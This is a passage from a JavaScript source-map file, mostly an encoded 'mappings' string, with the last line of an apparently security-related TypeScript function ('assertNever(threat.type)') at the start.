assertNever(threat.type);\n\t}\n}\n\n//#endregion\n"],"mappings":"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"}
|